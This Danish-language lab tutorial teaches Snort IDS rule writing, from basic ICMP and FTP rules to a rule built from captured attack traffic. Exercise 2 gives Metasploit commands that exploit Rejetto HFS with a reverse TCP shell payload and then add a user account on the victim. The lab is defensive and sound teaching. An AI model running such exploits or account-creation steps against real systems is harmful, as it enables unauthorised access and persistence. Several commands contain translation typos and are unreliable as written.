I denne serie af laboratorieøvelser vil vi demonstrere forskellige teknikker til at skrive Snort-regler, fra grundlæggende regelsyntaks til at skrive regler, der er rettet mod at opdage specifikke typer angreb. Vi vil også undersøge nogle grundlæggende tilgange til analyse og optimering af reglernes ydeevne.
Øvelse 1: Snort som en IDS
Snort er mest kendt som en IDS. Fra hjemmesiden snort.org:
“Snort® er et open source-netværksforebyggelses- og -detektionssystem (IDS/IPS), der er udviklet af Sourcefire. Snort kombinerer fordelene ved signatur-, protokol- og anomalibaseret inspektion og er den mest udbredte IDS/IPS-teknologi på verdensplan. Med millioner af downloads og næsten 400.000 registrerede brugere er Snort blevet de facto-standarden for IPS.”
Det skal også nævnes, at Sourcefire blev overtaget af Cisco i begyndelsen af oktober 2013.
Snort kan i det væsentlige køre i tre forskellige tilstande: IDS-tilstand, logningstilstand og sniffertilstand. Vi vil bruge Snort i denne del af laboratoriet i IDS-tilstand og senere bruge det som pakkelogger. Vi vil bruge Ubuntu Server VM, Windows Server 2012 R2 VM og Kali Linux VM til dette laboratorium.
Du har Snort version 2.9.8 installeret på din Ubuntu Server VM. Start din Ubuntu Server VM, log på med de legitimationsoplysninger, der er angivet i begyndelsen af denne vejledning, og åbn en terminalskal ved at dobbeltklikke på genvejen på skrivebordet. (Alternativt kan du trykke Ctrl+Alt+T for at åbne en ny shell.)
For at verificere Snort-versionen skal du skrive snort -V og trykke på Enter.
Næst skal vi konfigurere vores HOME_NET-værdi: det netværk, som vi skal beskytte. Indtast først ifconfig i din terminalskal for at se netværkskonfigurationen. Bemærk IP-adressen og netværksgrænsefladeværdien. Se billedet nedenfor (din IP kan være anderledes).
Dernæst skal du skrive følgende kommando for at åbne snort-konfigurationsfilen i gedit-teksteditor:
sudo gedit /etc/snort/snort.conf
Indtast adgangskoden til Ubuntu Server. Når filen snort.conf åbnes, skal du rulle nedad, indtil du finder indstillingen ipvar HOME_NET. Du skal ændre IP-adressen til at være dit faktiske klasse C-undernet. I øjeblikket skal den være 192.168.132.0/24. Du ændrer simpelthen IP-adresse-delen til at matche din Ubuntu Server VM IP, og sørger for at lade “.0/24″ stå i slutningen.
Vælg Gem fra bjælken øverst, og luk filen. På dette tidspunkt er Snort klar til at køre. Bortset fra, at den ikke har nogen regler indlæst. For at verificere det skal du køre følgende kommando:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Her fortæller vi Snort, at den skal teste (-T) konfigurationsfilen (-c peger på dens placering) på eth0-grænsefladen (indtast din grænsefladeværdi, hvis den er anderledes). Dette vil producere en masse output. Rul op, indtil du ser “0 Snort rules read” (se billedet nedenfor).
Lad os gennemgå syntaksen for denne regel:
Rule headers
- alert – Rule action. Snort vil generere en alarm, når den indstillede betingelse er opfyldt.
- any – Kilde-IP. Snort vil se på alle kilder.
- any – Kildeport. Snort vil se på alle porte.
- -> – Retning. Fra kilde til destination.
- $HOME_NET – Destinations-IP. Vi bruger HOME_NET-værdien fra filen snort.conf.
- any – Destinationsport. Snort vil kigge på alle porte på det beskyttede netværk.
Ruleindstillinger:
- msg: “ICMP test” – Snort vil inkludere denne meddelelse sammen med advarslen.
- sid:1000001 – Snort-regel-ID. Husk, at alle numre mindre end 1.000.000 er reserveret; det er derfor, vi starter med 1.000.001. (Du kan bruge et hvilket som helst tal, så længe det er større end 1.000.000.)
- rev:1 – Revisionsnummer. Denne indstilling gør det lettere at vedligeholde reglerne.
- classtype:icmp-event – Kategoriserer reglen som en “icmp-event”, en af de foruddefinerede Snort-kategorier. Denne indstilling hjælper med regelorganiseringen.
Klik på Gem, og luk filen. Lad os nu køre kommandoen Snort-konfigurationstest igen:
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Hvis du ruller opad, bør du se, at der er blevet indlæst én regel.
Lad os nu starte Snort i IDS-tilstand og bede den om at vise advarsler til konsollen:
sudo snort -A console -q -c /etc/snort/snort/snort.conf -i eht0
Vi peger igen Snort til den konfigurationsfil, den skal bruge (-c), og angiver grænsefladen (-i eth0). Konsolindstillingen -A udskriver advarsler til standardudgang, og -q er for “stille” tilstand (viser ikke banner og statusrapport). Du bør ikke se noget output, når du indtaster kommandoen, fordi Snort ikke har opdaget nogen aktivitet, der er angivet i den regel, vi skrev.
Lad os generere noget aktivitet og se, om vores regel virker.
Lancér din Kali Linux VM. Du skal muligvis indtaste startx efter at have indtastet legitimationsoplysninger for at komme til GUI’en. Når du er der, skal du åbne en terminalshell ved at klikke på ikonet i den øverste menulinje.
Begynd nu at pinge din Ubuntu-server med følgende kommando (brug din Ubuntu-server-IP i stedet for .x.x):
ping 192.168.x.x.x
Lad den køre i et par sekunder, og tryk Ctrl+C for at stoppe og vende tilbage til prompten.
Vend nu tilbage til din Ubuntu Server, der kører Snort IDS. Du bør se alarmer, der genereres for hver ICMP Echo request og Echo reply-meddelelse med den meddelelsestekst, vi har angivet i msg-indstillingen:
Vi kan også se kilde-IP-adressen på den vært, der er ansvarlig for den aktivitet, der genererer en alarm. I eksemplet ovenfor er det 192.168.132.133; din kan være anderledes (men det vil være IP-adressen for din Kali Linux VM). Vores testregel virker! Tryk på Ctrl+C for at stoppe Snort og vende tilbage til prompt.
Nu skal vi skrive en anden regel, denne gang lidt mere specifik. Åbn vores local.rules-fil i en teksteditor:
sudo gedit /etc/snort/rules/local.rules
Først skal vi kommentere vores første regel ud. Sæt et pundtegn (#) foran den. På en ny linje skriver du følgende regel (med din Kali Linux IP for x.x):
alert tcp 192.168.x.x any -> $HOME_NET 21 (msg: “FTP connection attempt”; sid:1000002; rev:1;)
Her ændrede vi protokollen til TCP, brugte en specifik kilde-IP, satte destinationsportnummeret til 21 (standardport for FTP-forbindelser) og ændrede teksten til alarmmeddelelsen. Gem og luk filen. Lad os nu køre Snort i IDS-tilstand igen, men denne gang skal vi tilføje endnu en indstilling som følger:
sudo snort -A console -q -c /etc/snort/snort.conf -i eht0 -K ascii
Vi fortæller Snort, at det skal logge genererede advarsler i ASCII-formatet i stedet for standard-pcap-formatet. Når Snort kører (igen, du vil ikke se noget output med det samme), skal du gå til din Kali Linux VM og indtaste følgende kommando i en terminalskal (ved hjælp af din Ubuntu Server IP adresse):
ftp 192.168.x.x
Gå tilbage til Ubuntu Server. Du bør se, at der er blevet genereret en advarsel.
For at sikre dig, at reglen ikke genererer falske positiver, kan du åbne en anden terminalskal på Ubuntu Server VM og prøve at oprette forbindelse til den samme FTP-server. Du bør ikke se nogen nye advarsler. Tryk på Ctrl+C for at stoppe Snort.
Kør nu følgende kommando for at lave en liste over Snort-logmappen:
ls /var/log/snort
Du bør se noget, der ligner følgende billede:
Den snort.log.*-fil (du har muligvis mere end én, hvis du genererede mere end én aktivitet, der genererer advarsler tidligere) er .pcap-logfilen. Den kan ikke læses med en teksteditor. Den IP-adresse, du ser (din vil være forskellig fra billedet), er kilde-IP’en for den advarsel, vi lige har set for vores FTP-regel. Det er en mappe. Lad os se, hvad der er indeni:
sudo ls /var/log/snort/192.168.x.x
Du kan se, at der er en fil der, der er opkaldt efter protokollen (TCP) og de portnumre, der er involveret i aktiviteten. Vi kan læse denne fil med en teksteditor eller bare bruge kommandoen cat:
sudo cat /var/log/snort/192.168.x.x.x/TCP:4561-21
Vi får de samme oplysninger, som vi så i konsoludgangen, med nogle ekstra detaljer.
Hvad med .pcap-filerne? Vi kan bruge Wireshark, en populær netværksprotokolanalysator, til at undersøge dem. Indtast sudo wireshark for at starte programmet. Klik på OK for at kvittere for de fejl/advarselsmeddelelser, der dukker op. Når du er i Wireshark-hovedvinduet, skal du gå til File → Open.
Brows til mappen /var/log/snort, vælg filen snort.log.* og klik på Open.
Meget mere information her! Klik for at udvide et af elementerne i den midterste rude. Nu kan vi se på indholdet af hver enkelt pakke.
Slut Wireshark. Vi vil bruge det meget i løbet af laboratorierne.
For vores næste regel skal vi skrive en regel, der ud over protokoller, IP’er og portnumre også ser efter noget indhold. Først skal vi generere noget aktivitet, som vil give os det indhold, der er nødvendigt for en regel.
Lancer din Windows Server 2012 R2 VM, og log ind med de legitimationsoplysninger, der er angivet i begyndelsen af denne vejledning. Denne VM har en FTP-server, der kører på den. Find først ud af IP-adressen på din Windows Server 2102 R2 VM. Det kan du gøre ved at åbne kommandoprompten fra genvejen på skrivebordet og indtaste ipconfig.
Nem værdien “IPv4 Address” (din kan være anderledes end på billedet). Gå nu tilbage til din Ubuntu Server VM, og indtast ftp 192.168.x.x.x (ved hjælp af den IP-adresse, du lige har slået op). Når du bliver bedt om navn og adgangskode, skal du blot trykke på Enter. Undersøg outputtet.
Som vi kan se, resulterer indtastning af ugyldige legitimationsoplysninger i en meddelelse, der siger “Login or password incorrect”. Nu har vi nok oplysninger til at skrive vores regel. Indtast quit for at afslutte FTP og vende tilbage til prompt. Åbn vores fil local.rules igen:
sudo gedit /etc/snort/rules/local.rules
Da vi kommer til at arbejde meget med denne fil, kan du lade den stå åben og starte en ny terminalskal for at indtaste kommandoer.
Føj følgende regel til den nye linje:
alert tcp $HOME_NET 21 -> any any any (msg: “FTP failed login”; content: “Login or password incorrect”; sid:1000003; rev:1;)
Bemærk, at vi nu sætter HOME_NET-værdien som vores kilde-IP, fordi vi vil kigge efter de udgående FTP-server-svar. Gem filen. Lad os nu teste reglen. Start Snort i IDS-tilstand:
sudo snort -A console -q -c /etc/snort/snort/snort.conf -i eht0
Gå nu til din Kali Linux VM og prøv at oprette forbindelse til FTP-serveren på Windows Server 2012 R2 (ftp 192.168.x.x.x), idet du indtaster alle værdier for Navn og Adgangskode. Indtast quit for at vende tilbage til prompten. Gå tilbage til Ubuntu Server VM. Du bør se flere advarsler, der er genereret af begge aktive regler, som vi har indlæst i Snort. Tryk CTRL+C for at stoppe Snort.
Ovelse 2: Snort som pakkelogger
Med det hurtigt skiftende angrebslandskab og de hurtigt skiftende angrebsvektorer derude i dag, ved vi måske ikke engang, hvad vi skal lede efter, før vi har set angrebet. Så kan vi måske, efter at have undersøgt denne trafik, oprette en regel for dette specifikke “nye” angreb. Det er præcis sådan, at standardreglerne i Snort, der er offentligt tilgængelige, er oprettet. Vi vil nu køre Snort i logningstilstand og se, hvad vi er i stand til at identificere trafikken baseret på de angreb, vi laver.
I denne øvelse vil vi simulere et angreb på vores Windows Server, mens vi kører Snort i pakke-logningstilstand. Derefter vil vi undersøge de loggede pakker for at se, om vi kan identificere en angrebssignatur.
Sørg for, at alle tre VM’er (Ubuntu Server, Windows Server og Kali Linux) er kørt. På din Kali Linux VM skal du indtaste følgende i en terminalskal:
msfconsole
Dette vil starte Metasploit Framework, en populær platform til penetrationstestning. Det vil tage et par sekunder at indlæse den. Ignorer fejlen ved databaseforbindelsen. Vent, indtil du ser msf>-prompten. Når du er der, skal du indtaste følgende række af kommandoer:
use exploit/windows/http/rejetto_hfs_exec
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.x.x (Kali Linux VM IP adresse)
set RHOST 192.168.x.x.x (Windows Server 2012 R2 VM IP-adresse)
set RPORT 8081
Her konfigurerede vi en udnyttelse mod en sårbar version af Rejetto HFS HTTP File server, der kører på vores Windows Server 2012 R2 VM.
Hvor vi kører exploit’et, skal vi starte Snort i pakkelogningstilstand. Gå til din Ubuntu Server VM, og indtast følgende kommando i en terminalskal:
sudo snort -dev -q -l /var/log/snort -i eth0
Du vil ikke se noget output. Gå nu tilbage til msf exploit, som du har konfigureret på Kali Linux VM, og indtast exploit. Hvis exploit’et lykkedes, bør du ende op med en kommando shell:
Nu da vi har adgang til systemet, lad os gøre følgende:
Opret en ny brugerkonto:
netbrugerkontonavn P@ssword12 /ADD
Byt mapper til c:
cd
Opret en ny mappe, der er dit navn.
mkdir ditnavn
Tryk nu på Ctrl+C og svar y for “ja” for at lukke din adgang til kommandoskallen.
Næst skal du gå til din Ubuntu Server VM og trykke på Ctrl+C for at stoppe Snort. Indtast sudo wireshark i din terminalskal. I Wireshark skal du gå til Fil → Åbn og bladre til /var/log/snort. På dette tidspunkt vil vi have flere snort.log.*-filer der. Vælg den, der blev ændret senest, og klik på Open.
Du bør se en hel del opfangede pakker.
Vi skal finde dem, der er relateret til vores simulerede angreb. I Wireshark skal du vælge Edit → Find Packet (Rediger → Find pakke). I den resulterende dialogboks skal du vælge radioknappen String. Vælg dernæst Packet Bytes som søgekriterierne Search In (Søg i). Indtast derefter det brugernavn, du oprettede, som søgestreng.
Når du har fået konfigureret søgedialogen, skal du klikke på knappen Find. Søgningen bør finde den pakke, der indeholder den streng, du søgte efter. Gå videre og vælg denne pakke. Det vil være den mørk orangefarvede. Højreklik på den, og vælg Follow TCP Stream.
Denne handling bør vise dig alle de kommandoer, der blev indtastet i den pågældende TCP-session. Dette vil omfatte oprettelsen af kontoen samt de andre handlinger.
Når du har bekræftet dine resultater, kan du lukke stream-vinduet. Dette skulle føre dig tilbage til den pakke, du valgte i begyndelsen. Tryk nu på din pil opad, indtil du ser ASCII-delen af dit hexdump vise “C:UsersAdministratorDesktophfs2.3b>” i den nederste rude. Se nedenfor.
Nem den valgte del i grafikken ovenfor. Vi vil bruge dette indhold til at oprette en advarsel, der fortæller os, når der sendes en kommandoskal ud til en anden vært som følge af Rejetto HFS-bedrageriet. Minimer Wireshark-vinduet (luk det ikke endnu).
Øvelse 3: Opbygning af en brugerdefineret regel ud fra logget trafik
Vi ønsker at se en advarsel blive vist, hver gang Snort ser “C:UsersAdministratorDesktophfs2.3b>.” Gå til vores local.rules-fil (hvis du har lukket den, skal du åbne den igen som root med den samme kommando som tidligere), og tilføj følgende regel på en ny linje (bemærk, at vi undgår alle backslashes for at sikre, at de er med i indholdet):
alert tcp $HOME_NET any -> any any (msg: “Command Shell Access”; content: “C:UsersAdministratorDesktophfs2.3b”; sid:1000004; rev:1;)
Save the file. Kør Snort i IDS-tilstand igen:
sudo snort -A console -q -c /etc/snort/snort/snort.conf -i eth0
Gå nu tilbage til din Kali Linux VM. Du bør stadig være på prompten til rejetto exploit. Du skal blot indtaste exploit for at køre det igen. Vent, indtil du får adgang til kommandoskallen, og vend tilbage til Snort-terminalen på Ubuntu Server. Du bør se, at der er blevet genereret alarmer baseret på vores nye regel:
Hit Ctrl+C på Kali Linux-terminalen og indtast y for at afslutte ud af kommandoskallen. Tryk derefter på Ctrl+C på Ubuntu Server-terminalen for at stoppe Snort.
I dette tilfælde har vi noget menneskeligt læsbart indhold, som vi kan bruge i vores regel. Men det er ikke altid tilfældet.
Lad os ændre vores regel, så den leder efter indhold, der er repræsenteret i hex-format. Først skal du i vores local.rules-fil kopiere vores seneste regel og indsætte den nedenfor i den nye linje. Kommentér nu den gamle regel ud, og ændr “rev”-værdien for den nye regel til “2”. Se nedenfor.
Opnå Wireshark-vinduet med vores capture igen, med den samme payload-del valgt. Desværre kan man ikke kopiere hex-værdier direkte fra Wireshark’s hovedvindue, men der er en nem løsning, som vil virke for os. Når det nødvendige indhold er valgt, højreklikker du enten på den tilsvarende (fremhævede) pakke i den øverste rude eller på den fremhævede “Data:”-post i den midterste rude og vælger Copy → Bytes → Offset Hex. Se nedenfor.
Nu skal du i vores local.rules-fil vælge indholdsargumentet (alt mellem citationstegn) i vores nye regel, højreklikke og klikke på Paste (indsæt). Fjern nu omhyggeligt alle ekstra mellemrum, linjeskift osv. og lad kun de nødvendige hex-værdier stå tilbage. Sæt derefter rørsymbolerne (|) på begge sider. Din færdige regel skal se ud som billedet nedenfor.
Spar filen. Start Snort i IDS-tilstand. Gå derefter til din Kali Linux VM og kør udnyttelsen igen. Vent, indtil du får kommandoskallen, og se på Snort-output. Du bør se genererede advarsler.
Denne gang ser vi to advarsler i stedet for fire, fordi vi inkluderede hex-repræsentationen af “>”-symbolet i indholdet, hvilket gør reglen mere specifik.
Tryk Ctrl+C for at stoppe Snort. Tryk derefter på Kali Linux VM på Ctrl+C, og indtast y for at afslutte kommandoskallen. Indtast exit for at vende tilbage til den almindelige prompt.
Dette er blot nogle af de grundlæggende ting i forbindelse med skrivning af Snort-reglen. Senere vil vi se på nogle mere avancerede teknikker.